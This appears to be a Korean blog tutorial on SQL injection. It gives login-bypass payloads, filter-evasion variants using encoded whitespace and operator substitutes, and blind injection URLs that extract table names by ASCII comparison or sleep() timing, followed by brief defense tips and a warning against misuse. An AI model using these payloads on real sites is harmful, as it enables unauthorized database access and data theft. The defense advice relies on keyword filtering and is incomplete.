[WEB 취약점 SQL Injection] 필터링 우회 + Blind SQL Injection

반응형

SQL INJECTION

[정의]

SQL 인젝션 (SQL 삽입, SQL 주입으로도 불린다) 은 코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식을 말한다. 주로 사용자가 입력한 데이터를 제대로 필터링, 이스케이핑하지 못했을 경우에 발생한다. 공격이 쉬운데 비해 파괴력이 어마어마 하기 때문에 시큐어코딩을 하는 개발자라면 가장 먼저 배우게 되는 내용이다. 이러한 injection 계열의 취약점들은 테스트를 통해 발견하기는 힘들지만 스캐닝툴이나 코드 검증절차를 거치면 보통 쉽게 발견되기 때문에 탐지하기는 쉬운 편이다.

reference : 나무위키


[종류]

  • sql injection
  • blind sql injection
  • union injection    ; blind sql injection 에 같이 쓰임

[예제]

# 일반적인 sql injection

- query 특성을 이용하여 참이 되게 만든다.

정상적 sql query : SELECT * from tables where id="$POST[id]" and password="$POST[password]";

조작한 sql query : SELECT * from tables where id="admin" and password="" or "1=1";

 ID

admin

 PW

" or "1=1


[필터링 우회 예제]

# 공백이 필터링 됐을 때

- %0a, /**/, %09, () ( URL에서는 %20 )

정상적 sql query : SELECT * from tables where id="$POST[id]" and password="$POST[password]";

조작한 sql query : SELECT * from tables where id="admin" and password=""%0aor%0a"1=1";

 ID

admin

 PW

"%0aor%0a"1=1


# =, and, or 필터링 됐을 때

- 각각 like, &&, ||

정상적 sql query : SELECT * from tables where id="$POST[id]" and password="$POST[password]";

조작한 sql query : SELECT * from tables where id="admin" and password="" ||  "1 like 1";

 ID

admin

 PW

" || "1 like 1


BLIND SQL INJECTION

[정의]

보이지 않는(blind) sql injection. 에러 기반의 sql injection을 막았을때 DB정보가 모두 블라인드 처리 되기 때문에 쿼리를 입력하여 서버에서 얻을 수 있는 것은 참과 거짓 뿐이다. 이 참과 거짓을 이용하여 DB 내부의 정보를 알아내는 공격 기법


[예제]

컬럼의 갯수를 알고 싶을 때

sql query : select * from news where no=1 order by 1;

 URL

http://100.100.100.129/view.php?no=1 union select * from news where no=1 order by 1


테이블 이름을 알고 싶을 때

- 아스키코드를 이용해서 한글자씩 참과 거짓을 이용해서 알아낸다.

sql query : select ascii( substr( (select table_name from tables limit 0,1), 1, 1 ) )=67;

 URL

http://100.100.100.129/view.php?no=1 union select ascii( substr( (select table_name from tables limit 0,1), 1, 1 ) )=67;


참과 거짓 결과를 알 수 없을 때

- and 와 sleep 함수를 이용하여 함수가 작동하면 쿼리가 작동한 것으로 간주한다.

sql query : select * from news where no=1 order by 1;

 URL

http://100.100.100.129/view.php?no=1 union select * from news where no=1 order by 1 and sleep(10)


SQL INJECTION 방어 방법

  • sql query 에 사용되는 문자 및 단어들을 전부 필터링 한다.
  • 에러 메세지, 특히 query 문구가 나오지 않도록 각별히 주의 한다.
  • 최소 권한 유저로 DB를 운영 한다.
  • 신뢰할 수 있는 네트워크, 서버에 대해서만 접근 허용한다.

연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지!

※ 무분별한 적용 및 악용으로 인한 피해는 절대로 책임지지 않습니다.

반응형
TAGS.

Comments